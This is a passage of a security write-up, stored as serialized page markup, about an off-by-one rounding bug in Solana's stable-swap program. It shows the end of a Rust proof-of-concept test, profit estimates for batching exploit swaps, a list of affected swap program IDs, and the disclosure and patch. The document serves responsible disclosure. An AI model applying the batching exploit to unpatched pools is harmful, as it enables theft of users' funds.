"tag":90,"props":5909,"children":5910},{"style":114},[5911],{"type":29,"value":748},{"type":24,"tag":90,"props":5913,"children":5914},{"class":92,"line":384},[5915,5919,5924,5928,5933],{"type":24,"tag":90,"props":5916,"children":5917},{"style":120},[5918],{"type":29,"value":5861},{"type":24,"tag":90,"props":5920,"children":5921},{"style":136},[5922],{"type":29,"value":5923},"test_account_signer",{"type":24,"tag":90,"props":5925,"children":5926},{"style":120},[5927],{"type":29,"value":226},{"type":24,"tag":90,"props":5929,"children":5930},{"style":108},[5931],{"type":29,"value":5932},"pubkey",{"type":24,"tag":90,"props":5934,"children":5935},{"style":114},[5936],{"type":29,"value":1384},{"type":24,"tag":90,"props":5938,"children":5939},{"class":92,"line":420},[5940,5944,5949],{"type":24,"tag":90,"props":5941,"children":5942},{"style":120},[5943],{"type":29,"value":5861},{"type":24,"tag":90,"props":5945,"children":5946},{"style":136},[5947],{"type":29,"value":5948},"sbtc_user_account",{"type":24,"tag":90,"props":5950,"children":5951},{"style":114},[5952],{"type":29,"value":748},{"type":24,"tag":90,"props":5954,"children":5955},{"class":92,"line":428},[5956,5960,5965],{"type":24,"tag":90,"props":5957,"children":5958},{"style":120},[5959],{"type":29,"value":5861},{"type":24,"tag":90,"props":5961,"children":5962},{"style":136},[5963],{"type":29,"value":5964},"sbtc_reserve",{"type":24,"tag":90,"props":5966,"children":5967},{"style":114},[5968],{"type":29,"value":748},{"type":24,"tag":90,"props":5970,"children":5971},{"class":92,"line":437},[5972,5976,5981],{"type":24,"tag":90,"props":5973,"children":5974},{"style":120},[5975],{"type":29,"value":5861},{"type":24,"tag":90,"props":5977,"children":5978},{"style":136},[5979],{"type":29,"value":5980},"renbtc_reserve",{"type":24,"tag":90,"props":5982,"children":5983},{"style":114},[5984],{"type":29,"value":748},{"type":24,"tag":90,"props":5986,"children":5987},{"class":92,"line":574},[5988,5992,5997],{"type":24,"tag":90,"props":5989,"children":5990},{"style":120},[5991],{"type":29,"value":5861},{"type":24,"tag":90,"props":5993,"children":5994},{"style":136},[5995],{"type":29,"value":5996},"renbtc_user_account",{"type":24,"tag":90,"props":5998,"children":5999},{"style":114},[6000],{"type":29,"value":748},{"type":24,"tag":90,"props":6002,"children":6003},{"class":92,"line":606},[6004,6008,6013],{"type":24,"tag":90,"props":6005,"children":6006},{"style":120},[6007],{"type":29,"value":5861},{"type":24,"tag":90,"props":6009,"children":6010},{"style":136},[6011],{"type":29,"value":6012},"admin_fee_account_sbtc_to_ren",{"type":24,"tag":90,"props":6014,"children":6015},{"style":114},[6016],{"type":29,"value":748},{"type":24,"tag":90,"props":6018,"children":6019},{"class":92,"line":615},[6020,6025],{"type":24,"tag":90,"props":6021,"children":6022},{"style":349},[6023],{"type":29,"value":6024}," 1",{"type":24,"tag":90,"props":6026,"children":6027},{"style":114},[6028],{"type":29,"value":748},{"type":24,"tag":90,"props":6030,"children":6031},{"class":92,"line":623},[6032],{"type":24,"tag":90,"props":6033,"children":6034},{"style":349},[6035],{"type":29,"value":6036}," 2\n",{"type":24,"tag":90,"props":6038,"children":6039},{"class":92,"line":632},[6040,6045,6049,6054],{"type":24,"tag":90,"props":6041,"children":6042},{"style":114},[6043],{"type":29,"value":6044}," )",{"type":24,"tag":90,"props":6046,"children":6047},{"style":120},[6048],{"type":29,"value":226},{"type":24,"tag":90,"props":6050,"children":6051},{"style":108},[6052],{"type":29,"value":6053},"unwrap",{"type":24,"tag":90,"props":6055,"children":6056},{"style":114},[6057],{"type":29,"value":236},{"type":24,"tag":90,"props":6059,"children":6060},{"class":92,"line":669},[6061],{"type":24,"tag":90,"props":6062,"children":6063},{"emptyLinePlaceholder":16},[6064],{"type":29,"value":245},{"type":24,"tag":90,"props":6066,"children":6067},{"class":92,"line":683},[6068],{"type":24,"tag":90,"props":6069,"children":6070},{"style":252},[6071],{"type":29,"value":6072}," // nonce\n",{"type":24,"tag":90,"props":6074,"children":6075},{"class":92,"line":737},[6076,6081,6085,6089,6093,6098,6102,6106,6110,6115,6119,6124,6128,6133],{"type":24,"tag":90,"props":6077,"children":6078},{"style":136},[6079],{"type":29,"value":6080}," swap_instruction",{"type":24,"tag":90,"props":6082,"children":6083},{"style":120},[6084],{"type":29,"value":226},{"type":24,"tag":90,"props":6086,"children":6087},{"style":114},[6088],{"type":29,"value":481},{"type":24,"tag":90,"props":6090,"children":6091},{"style":120},[6092],{"type":29,"value":226},{"type":24,"tag":90,"props":6094,"children":6095},{"style":108},[6096],{"type":29,"value":6097},"append",{"type":24,"tag":90,"props":6099,"children":6100},{"style":114},[6101],{"type":29,"value":117},{"type":24,"tag":90,"props":6103,"children":6104},{"style":120},[6105],{"type":29,"value":123},{"type":24,"tag":90,"props":6107,"children":6108},{"style":97},[6109],{"type":29,"value":371},{"type":24,"tag":90,"props":6111,"children":6112},{"style":108},[6113],{"type":29,"value":6114}," vec!",{"type":24,"tag":90,"props":6116,"children":6117},{"style":114},[6118],{"type":29,"value":719},{"type":24,"tag":90,"props":6120,"children":6121},{"style":136},[6122],{"type":29,"value":6123},"i",{"type":24,"tag":90,"props":6125,"children":6126},{"style":114},[6127],{"type":29,"value":133},{"type":24,"tag":90,"props":6129,"children":6130},{"style":136},[6131],{"type":29,"value":6132},"extranonce",{"type":24,"tag":90,"props":6134,"children":6135},{"style":114},[6136],{"type":29,"value":6137},"]);\n",{"type":24,"tag":90,"props":6139,"children":6140},{"class":92,"line":751},[6141],{"type":24,"tag":90,"props":6142,"children":6143},{"emptyLinePlaceholder":16},[6144],{"type":29,"value":245},{"type":24,"tag":90,"props":6146,"children":6147},{"class":92,"line":782},[6148,6152,6156,6161,6165,6169],{"type":24,"tag":90,"props":6149,"children":6150},{"style":97},[6151],{"type":29,"value":206},{"type":24,"tag":90,"props":6153,"children":6154},{"style":97},[6155],{"type":29,"value":4653},{"type":24,"tag":90,"props":6157,"children":6158},{"style":136},[6159],{"type":29,"value":6160}," instructions",{"type":24,"tag":90,"props":6162,"children":6163},{"style":120},[6164],{"type":29,"value":216},{"type":24,"tag":90,"props":6166,"children":6167},{"style":108},[6168],{"type":29,"value":6114},{"type":24,"tag":90,"props":6170,"children":6171},{"style":114},[6172],{"type":29,"value":6173},"[];\n",{"type":24,"tag":90,"props":6175,"children":6176},{"class":92,"line":791},[6177],{"type":24,"tag":90,"props":6178,"children":6179},{"emptyLinePlaceholder":16},[6180],{"type":29,"value":245},{"type":24,"tag":90,"props":6182,"children":6183},{"class":92,"line":799},[6184,6189,6193,6197,6201,6206],{"type":24,"tag":90,"props":6185,"children":6186},{"style":136},[6187],{"type":29,"value":6188}," instructions",{"type":24,"tag":90,"props":6190,"children":6191},{"style":120},[6192],{"type":29,"value":226},{"type":24,"tag":90,"props":6194,"children":6195},{"style":108},[6196],{"type":29,"value":1884},{"type":24,"tag":90,"props":6198,"children":6199},{"style":114},[6200],{"type":29,"value":117},{"type":24,"tag":90,"props":6202,"children":6203},{"style":136},[6204],{"type":29,"value":6205},"swap_instruction",{"type":24,"tag":90,"props":6207,"children":6208},{"style":114},[6209],{"type":29,"value":571},{"type":24,"tag":90,"props":6211,"children":6212},{"class":92,"line":807},[6213],{"type":24,"tag":90,"props":6214,"children":6215},{"emptyLinePlaceholder":16},[6216],{"type":29,"value":245},{"type":24,"tag":90,"props":6218,"children":6219},{"class":92,"line":821},[6220,6225,6229,6234,6238,6242,6247,6251,6255,6260,6264,6268,6272],{"type":24,"tag":90,"props":6221,"children":6222},{"style":136},[6223],{"type":29,"value":6224}," env",{"type":24,"tag":90,"props":6226,"children":6227},{"style":120},[6228],{"type":29,"value":226},{"type":24,"tag":90,"props":6230,"children":6231},{"style":108},[6232],{"type":29,"value":6233},"execute_as_transaction",{"type":24,"tag":90,"props":6235,"children":6236},{"style":114},[6237],{"type":29,"value":117},{"type":24,"tag":90,"props":6239,"children":6240},{"style":120},[6241],{"type":29,"value":123},{"type":24,"tag":90,"props":6243,"children":6244},{"style":136},[6245],{"type":29,"value":6246},"instructions",{"type":24,"tag":90,"props":6248,"children":6249},{"style":114},[6250],{"type":29,"value":133},{"type":24,"tag":90,"props":6252,"children":6253},{"style":120},[6254],{"type":29,"value":123},{"type":24,"tag":90,"props":6256,"children":6257},{"style":108},[6258],{"type":29,"value":6259},"vec!",{"type":24,"tag":90,"props":6261,"children":6262},{"style":114},[6263],{"type":29,"value":719},{"type":24,"tag":90,"props":6265,"children":6266},{"style":120},[6267],{"type":29,"value":123},{"type":24,"tag":90,"props":6269,"children":6270},{"style":136},[6271],{"type":29,"value":5923},{"type":24,"tag":90,"props":6273,"children":6274},{"style":114},[6275],{"type":29,"value":6137},{"type":24,"tag":90,"props":6277,"children":6279},{"class":92,"line":6278},26,[6280],{"type":24,"tag":90,"props":6281,"children":6282},{"style":114},[6283],{"type":29,"value":827},{"type":24,"tag":25,"props":6285,"children":6286},{},[6287],{"type":29,"value":6288},"It works!",{"type":24,"tag":5339,"props":6290,"children":6291},{},[6292],{"type":24,"tag":25,"props":6293,"children":6294},{},[6295],{"type":29,"value":6296},"holy shit\nyea, this is big",{"type":24,"tag":25,"props":6298,"children":6299},{},[6300],{"type":24,"tag":6301,"props":6302,"children":6304},"img",{"alt":7,"src":6303},"/posts/spl-swap/poc.png",[],{"type":24,"tag":850,"props":6306,"children":6308},{"id":6307},"exploitability",[6309],{"type":29,"value":6310},"Exploitability",{"type":24,"tag":25,"props":6312,"children":6313},{},[6314],{"type":29,"value":6315},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":24,"tag":25,"props":6317,"children":6318},{},[6319],{"type":29,"value":6320},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":24,"tag":25,"props":6322,"children":6323},{},[6324],{"type":29,"value":6325},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":24,"tag":25,"props":6327,"children":6328},{},[6329],{"type":24,"tag":6301,"props":6330,"children":6332},{"alt":7,"src":6331},"/posts/spl-swap/pr.png",[],{"type":24,"tag":25,"props":6334,"children":6335},{},[6336,6338,6343],{"type":29,"value":6337},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":24,"tag":842,"props":6339,"children":6340},{},[6341],{"type":29,"value":6342},"per instruction",{"type":29,"value":6344},". Transactions on Solana can also contain multiple instructions.",{"type":24,"tag":25,"props":6346,"children":6347},{},[6348],{"type":29,"value":6349},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":24,"tag":25,"props":6351,"children":6352},{},[6353,6355,6360],{"type":29,"value":6354},"Some quick napkin math confirms that this ",{"type":24,"tag":842,"props":6356,"children":6357},{},[6358],{"type":29,"value":6359},"is",{"type":29,"value":6361}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":24,"tag":25,"props":6363,"children":6364},{},[6365],{"type":24,"tag":32,"props":6366,"children":6370},{"className":6367},[6368,6369],"language-math","math-inline",[6371],{"type":24,"tag":90,"props":6372,"children":6375},{"className":6373},[6374],"katex",[6376],{"type":24,"tag":90,"props":6377,"children":6381},{"className":6378,"ariaHidden":6380},[6379],"katex-html","true",[6382,6489,6545,6585],{"type":24,"tag":90,"props":6383,"children":6386},{"className":6384},[6385],"base",[6387,6393,6399,6462,6472,6478,6485],{"type":24,"tag":90,"props":6388,"children":6392},{"className":6389,"style":6391},[6390],"strut","height:0.8141em;",[],{"type":24,"tag":90,"props":6394,"children":6397},{"className":6395},[6396],"mord",[6398],{"type":29,"value":534},{"type":24,"tag":90,"props":6400,"children":6402},{"className":6401},[6396],[6403,6409],{"type":24,"tag":90,"props":6404,"children":6406},{"className":6405},[6396],[6407],{"type":29,"value":6408},"0",{"type":24,"tag":90,"props":6410,"children":6413},{"className":6411},[6412],"msupsub",[6414],{"type":24,"tag":90,"props":6415,"children":6418},{"className":6416},[6417],"vlist-t",[6419],{"type":24,"tag":90,"props":6420,"children":6423},{"className":6421},[6422],"vlist-r",[6424],{"type":24,"tag":90,"props":6425,"children":6428},{"className":6426,"style":6391},[6427],"vlist",[6429],{"type":24,"tag":90,"props":6430,"children":6432},{"style":6431},"top:-3.063em;margin-right:0.05em;",[6433,6439],{"type":24,"tag":90,"props":6434,"children":6438},{"className":6435,"style":6437},[6436],"pstrut","height:2.7em;",[],{"type":24,"tag":90,"props":6440,"children":6446},{"className":6441},[6442,6443,6444,6445],"sizing","reset-size6","size3","mtight",[6447],{"type":24,"tag":90,"props":6448,"children":6450},{"className":6449},[6396,6445],[6451,6457],{"type":24,"tag":90,"props":6452,"children":6454},{"className":6453},[6396,6445],[6455],{"type":29,"value":6456},"−",{"type":24,"tag":90,"props":6458,"children":6460},{"className":6459},[6396,6445],[6461],{"type":29,"value":352},{"type":24,"tag":90,"props":6463,"children":6465},{"className":6464},[6396,29],[6466],{"type":24,"tag":90,"props":6467,"children":6469},{"className":6468},[6396],[6470],{"type":29,"value":6471}," BTC",{"type":24,"tag":90,"props":6473,"children":6477},{"className":6474,"style":6476},[6475],"mspace","margin-right:0.2222em;",[],{"type":24,"tag":90,"props":6479,"children":6482},{"className":6480},[6481],"mbin",[6483],{"type":29,"value":6484},"∗",{"type":24,"tag":90,"props":6486,"children":6488},{"className":6487,"style":6476},[6475],[],{"type":24,"tag":90,"props":6490,"children":6492},{"className":6491},[6385],[6493,6498,6504,6511,6516,6522,6532,6536,6541],{"type":24,"tag":90,"props":6494,"children":6497},{"className":6495,"style":6496},[6390],"height:1em;vertical-align:-0.25em;",[],{"type":24,"tag":90,"props":6499,"children":6501},{"className":6500},[6396],[6502],{"type":29,"value":6503},"$41",{"type":24,"tag":90,"props":6505,"children":6508},{"className":6506},[6507],"mpunct",[6509],{"type":29,"value":6510},",",{"type":24,"tag":90,"props":6512,"children":6515},{"className":6513,"style":6514},[6475],"margin-right:0.1667em;",[],{"type":24,"tag":90,"props":6517,"children":6519},{"className":6518},[6396],[6520],{"type":29,"value":6521},"400/",{"type":24,"tag":90,"props":6523,"children":6525},{"className":6524},[6396,29],[6526],{"type":24,"tag":90,"props":6527,"children":6529},{"className":6528},[6396],[6530],{"type":29,"value":6531},"BTC",{"type":24,"tag":90,"props":6533,"children":6535},{"className":6534,"style":6476},[6475],[],{"type":24,"tag":90,"props":6537,"children":6539},{"className":6538},[6481],[6540],{"type":29,"value":6484},{"type":24,"tag":90,"props":6542,"children":6544},{"className":6543,"style":6476},[6475],[],{"type":24,"tag":90,"props":6546,"children":6548},{"className":6547},[6385],[6549,6554,6560,6570,6575,6581],{"type":24,"tag":90,"props":6550,"children":6553},{"className":6551,"style":6552},[6390],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":24,"tag":90,"props":6555,"children":6557},{"className":6556},[6396],[6558],{"type":29,"value":6559},"150",{"type":24,"tag":90,"props":6561,"children":6563},{"className":6562},[6396,29],[6564],{"type":24,"tag":90,"props":6565,"children":6567},{"className":6566},[6396],[6568],{"type":29,"value":6569}," swaps",{"type":24,"tag":90,"props":6571,"children":6574},{"className":6572,"style":6573},[6475],"margin-right:0.2778em;",[],{"type":24,"tag":90,"props":6576,"children":6579},{"className":6577},[6578],"mrel",[6580],{"type":29,"value":5491},{"type":24,"tag":90,"props":6582,"children":6584},{"className":6583,"style":6573},[6475],[],{"type":24,"tag":90,"props":6586,"children":6588},{"className":6587},[6385],[6589,6594],{"type":24,"tag":90,"props":6590,"children":6593},{"className":6591,"style":6592},[6390],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":24,"tag":90,"props":6595,"children":6597},{"className":6596},[6396],[6598],{"type":29,"value":6599},"$0.0621",{"type":24,"tag":25,"props":6601,"children":6602},{},[6603],{"type":29,"value":6604},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":24,"tag":25,"props":6606,"children":6607},{},[6608],{"type":29,"value":6609},"We're well on our way to becoming a millionaire!",{"type":24,"tag":850,"props":6611,"children":6613},{"id":6612},"patch",[6614],{"type":29,"value":6615},"Patch",{"type":24,"tag":25,"props":6617,"children":6618},{},[6619],{"type":29,"value":6620},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":24,"tag":25,"props":6622,"children":6623},{},[6624],{"type":29,"value":6625},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":24,"tag":80,"props":6627,"children":6631},{"code":6628,"language":6629,"meta":7,"className":6630,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[6632],{"type":24,"tag":32,"props":6633,"children":6634},{"__ignoreMap":7},[6635],{"type":24,"tag":90,"props":6636,"children":6637},{"class":92,"line":93},[6638,6642,6647,6652,6657,6662,6667],{"type":24,"tag":90,"props":6639,"children":6640},{"style":108},[6641],{"type":29,"value":5287},{"type":24,"tag":90,"props":6643,"children":6644},{"style":1085},[6645],{"type":29,"value":6646}," logs",{"type":24,"tag":90,"props":6648,"children":6649},{"style":1085},[6650],{"type":29,"value":6651}," -um",{"type":24,"tag":90,"props":6653,"children":6654},{"style":120},[6655],{"type":29,"value":6656}," |",{"type":24,"tag":90,"props":6658,"children":6659},{"style":108},[6660],{"type":29,"value":6661}," grep",{"type":24,"tag":90,"props":6663,"children":6664},{"style":1085},[6665],{"type":29,"value":6666}," 'Instruction: Swap'",{"type":24,"tag":90,"props":6668,"children":6669},{"style":1085},[6670],{"type":29,"value":6671}," -B1\n",{"type":24,"tag":25,"props":6673,"children":6674},{},[6675],{"type":29,"value":6676},"With some Google dorking, we were able to identify many of these programs.",{"type":24,"tag":80,"props":6678,"children":6680},{"code":6679},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1 - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8 - Swap Program\n",[6681],{"type":24,"tag":32,"props":6682,"children":6683},{"__ignoreMap":7},[6684],{"type":29,"value":6679},{"type":24,"tag":25,"props":6686,"children":6687},{},[6688],{"type":29,"value":6689},"Now it was time to contact these teams.",{"type":24,"tag":25,"props":6691,"children":6692},{},[6693],{"type":29,"value":6694},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":24,"tag":25,"props":6696,"children":6697},{},[6698],{"type":29,"value":6699},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":24,"tag":80,"props":6701,"children":6703},{"code":6702,"language":84,"meta":7,"className":82,"style":7},"- let dy = swap_destination_amount.checked_sub(y)?;\n+ // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+ let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[6704],{"type":24,"tag":32,"props":6705,"children":6706},{"__ignoreMap":7},[6707,6760,6773],{"type":24,"tag":90,"props":6708,"children":6709},{"class":92,"line":93},[6710,6714,6718,6723,6727,6732,6736,6740,6744,6748,6752,6756],{"type":24,"tag":90,"props":6711,"children":6712},{"style":120},[6713],{"type":29,"value":346},{"type":24,"tag":90,"props":6715,"children":6716},{"style":97},[6717],{"type":29,"value":287},{"type":24,"tag":90,"props":6719,"children":6720},{"style":136},[6721],{"type":29,"value":6722}," dy",{"type":24,"tag":90,"props":6724,"children":6725},{"style":120},[6726],{"type":29,"value":216},{"type":24,"tag":90,"props":6728,"children":6729},{"style":136},[6730],{"type":29,"value":6731}," swap_destination_amount",{"type":24,"tag":90,"props":6733,"children":6734},{"style":120},[6735],{"type":29,"value":226},{"type":24,"tag":90,"props":6737,"children":6738},{"style":108},[6739],{"type":29,"value":5630},{"type":24,"tag":90,"props":6741,"children":6742},{"style":114},[6743],{"type":29,"value":117},{"type":24,"tag":90,"props":6745,"children":6746},{"style":136},[6747],{"type":29,"value":5513},{"type":24,"tag":90,"props":6749,"children":6750},{"style":114},[6751],{"type":29,"value":517},{"type":24,"tag":90,"props":6753,"children":6754},{"style":120},[6755],{"type":29,"value":714},{"type":24,"tag":90,"props":6757,"children":6758},{"style":114},[6759],{"type":29,"value":381},{"type":24,"tag":90,"props":6761,"children":6762},{"class":92,"line":200},[6763,6768],{"type":24,"tag":90,"props":6764,"children":6765},{"style":120},[6766],{"type":29,"value":6767},"+",{"type":24,"tag":90,"props":6769,"children":6770},{"style":252},[6771],{"type":29,"value":6772}," // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":24,"tag":90,"props":6774,"children":6775},{"class":92,"line":239},[6776,6780,6784,6788,6792,6796,6800,6804,6808,6812,6816,6820,6824,6828,6832,6836,6840],{"type":24,"tag":90,"props":6777,"children":6778},{"style":120},[6779],{"type":29,"value":6767},{"type":24,"tag":90,"props":6781,"children":6782},{"style":97},[6783],{"type":29,"value":287},{"type":24,"tag":90,"props":6785,"children":6786},{"style":136},[6787],{"type":29,"value":6722},{"type":24,"tag":90,"props":6789,"children":6790},{"style":120},[6791],{"type":29,"value":216},{"type":24,"tag":90,"props":6793,"children":6794},{"style":136},[6795],{"type":29,"value":6731},{"type":24,"tag":90,"props":6797,"children":6798},{"style":120},[6799],{"type":29,"value":226},{"type":24,"tag":90,"props":6801,"children":6802},{"style":108},[6803],{"type":29,"value":5630},{"type":24,"tag":90,"props":6805,"children":6806},{"style":114},[6807],{"type":29,"value":117},{"type":24,"tag":90,"props":6809,"children":6810},{"style":136},[6811],{"type":29,"value":5513},{"type":24,"tag":90,"props":6813,"children":6814},{"style":114},[6815],{"type":29,"value":517},{"type":24,"tag":90,"props":6817,"children":6818},{"style":120},[6819],{"type":29,"value":319},{"type":24,"tag":90,"props":6821,"children":6822},{"style":108},[6823],{"type":29,"value":5630},{"type":24,"tag":90,"props":6825,"children":6826},{"style":114},[6827],{"type":29,"value":117},{"type":24,"tag":90,"props":6829,"children":6830},{"style":349},[6831],{"type":29,"value":534},{"type":24,"tag":90,"props":6833,"children":6834},{"style":114},[6835],{"type":29,"value":517},{"type":24,"tag":90,"props":6837,"children":6838},{"style":120},[6839],{"type":29,"value":714},{"type":24,"tag":90,"props":6841,"children":6842},{"style":114},[6843],{"type":29,"value":381},{"type":24,"tag":25,"props":6845,"children":6846},{},[6847,6849,6856],{"type":29,"value":6848},"For reference, here is the ",{"type":24,"tag":69,"props":6850,"children":6853},{"href":6851,"rel":6852},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[73],[6854],{"type":29,"value":6855},"Curve.fi implementation",{"type":29,"value":226},{"type":24,"tag":80,"props":6858,"children":6862},{"code":6859,"language":6860,"meta":7,"className":6861,"style":7}," dy: uint256 = xp[j] - y - 1 # -1 just in case there were some rounding errors\n dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[6863],{"type":24,"tag":32,"props":6864,"children":6865},{"__ignoreMap":7},[6866,6928],{"type":24,"tag":90,"props":6867,"children":6868},{"class":92,"line":93},[6869,6874,6878,6883,6887,6892,6896,6901,6905,6910,6915,6919,6923],{"type":24,"tag":90,"props":6870,"children":6871},{"style":114},[6872],{"type":29,"value":6873}," dy",{"type":24,"tag":90,"props":6875,"children":6876},{"style":120},[6877],{"type":29,"value":78},{"type":24,"tag":90,"props":6879,"children":6880},{"style":146},[6881],{"type":29,"value":6882}," uint256",{"type":24,"tag":90,"props":6884,"children":6885},{"style":120},[6886],{"type":29,"value":216},{"type":24,"tag":90,"props":6888,"children":6889},{"style":114},[6890],{"type":29,"value":6891}," xp[j] ",{"type":24,"tag":90,"props":6893,"children":6894},{"style":120},[6895],{"type":29,"value":346},{"type":24,"tag":90,"props":6897,"children":6898},{"style":114},[6899],{"type":29,"value":6900}," y ",{"type":24,"tag":90,"props":6902,"children":6903},{"style":120},[6904],{"type":29,"value":346},{"type":24,"tag":90,"props":6906,"children":6907},{"style":349},[6908],{"type":29,"value":6909}," 1",{"type":24,"tag":90,"props":6911,"children":6912},{"style":114},[6913],{"type":29,"value":6914}," # ",{"type":24,"tag":90,"props":6916,"children":6917},{"style":120},[6918],{"type":29,"value":346},{"type":24,"tag":90,"props":6920,"children":6921},{"style":349},[6922],{"type":29,"value":534},{"type":24,"tag":90,"props":6924,"children":6925},{"style":114},[6926],{"type":29,"value":6927}," just in case there were some rounding errors\n",{"type":24,"tag":90,"props":6929,"children":6930},{"class":92,"line":200},[6931,6936,6940,6944,6948,6953,6957,6962,6967],{"type":24,"tag":90,"props":6932,"children":6933},{"style":114},[6934],{"type":29,"value":6935}," dy_fee",{"type":24,"tag":90,"props":6937,"children":6938},{"style":120},[6939],{"type":29,"value":78},{"type":24,"tag":90,"props":6941,"children":6942},{"style":146},[6943],{"type":29,"value":6882},{"type":24,"tag":90,"props":6945,"children":6946},{"style":120},[6947],{"type":29,"value":216},{"type":24,"tag":90,"props":6949,"children":6950},{"style":114},[6951],{"type":29,"value":6952}," dy ",{"type":24,"tag":90,"props":6954,"children":6955},{"style":120},[6956],{"type":29,"value":983},{"type":24,"tag":90,"props":6958,"children":6959},{"style":114},[6960],{"type":29,"value":6961}," self.fee ",{"type":24,"tag":90,"props":6963,"children":6964},{"style":120},[6965],{"type":29,"value":6966},"/",{"type":24,"tag":90,"props":6968,"children":6969},{"style":114},[6970],{"type":29,"value":6971}," FEE_DENOMINATOR\n",{"type":24,"tag":25,"props":6973,"children":6974},{},[6975,6977,6984],{"type":29,"value":6976},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":24,"tag":69,"props":6978,"children":6981},{"href":6979,"rel":6980},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[73],[6982],{"type":29,"value":6983},"original commit",{"type":29,"value":6985},", not as an additional security patch.",{"type":24,"tag":80,"props":6987,"children":6989},{"code":6988},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate: Mon Aug 31 02:35:30 2020 +0300\n\n feat: add base pool without lending\n",[6990],{"type":24,"tag":32,"props":6991,"children":6992},{"__ignoreMap":7},[6993],{"type":29,"value":6988},{"type":24,"tag":25,"props":6995,"children":6996},{},[6997,6999,7006],{"type":29,"value":6998},"The commit adding stable swaps to SPL was ",{"type":24,"tag":69,"props":7000,"children":7003},{"href":7001,"rel":7002},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[73],[7004],{"type":29,"value":7005},"made a few months later",{"type":29,"value":7007},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":24,"tag":80,"props":7009,"children":7011},{"code":7010},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate: Tue Nov 17 15:13:18 2020 +0200\n\n Added stable curve invariant to the token swap smart contract (#838)\n\n * Added stable curve invariant to the token swap smart contract\n\n * Fixed formatting\n\n * Added missing stable curve constraints\n\n * Symbol renames to make math clearer\n\n * Small refactoring according to PR comments, fixes for JS tests\n",[7012],{"type":24,"tag":32,"props":7013,"children":7014},{"__ignoreMap":7},[7015],{"type":29,"value":7010},{"type":24,"tag":25,"props":7017,"children":7018},{},[7019,7021,7028],{"type":29,"value":7020},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":24,"tag":69,"props":7022,"children":7025},{"href":7023,"rel":7024},"https://github.com/solana-labs/solana-program-library",[73],[7026],{"type":29,"value":7027},"the Solana Program Library",{"type":29,"value":226},{"type":24,"tag":25,"props":7030,"children":7031},{},[7032],{"type":29,"value":7033},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":24,"tag":25,"props":7035,"children":7036},{},[7037,7044],{"type":24,"tag":69,"props":7038,"children":7041},{"href":7039,"rel":7040},"https://github.com/joncinque",[73],[7042],{"type":29,"value":7043},"@joncinque",{"type":29,"value":7045}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":24,"tag":5339,"props":7047,"children":7048},{},[7049],{"type":24,"tag":25,"props":7050,"children":7051},{},[7052],{"type":29,"value":7053},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":24,"tag":25,"props":7055,"children":7056},{},[7057,7059,7066,7068,7074],{"type":29,"value":7058},"After some thought, he helped 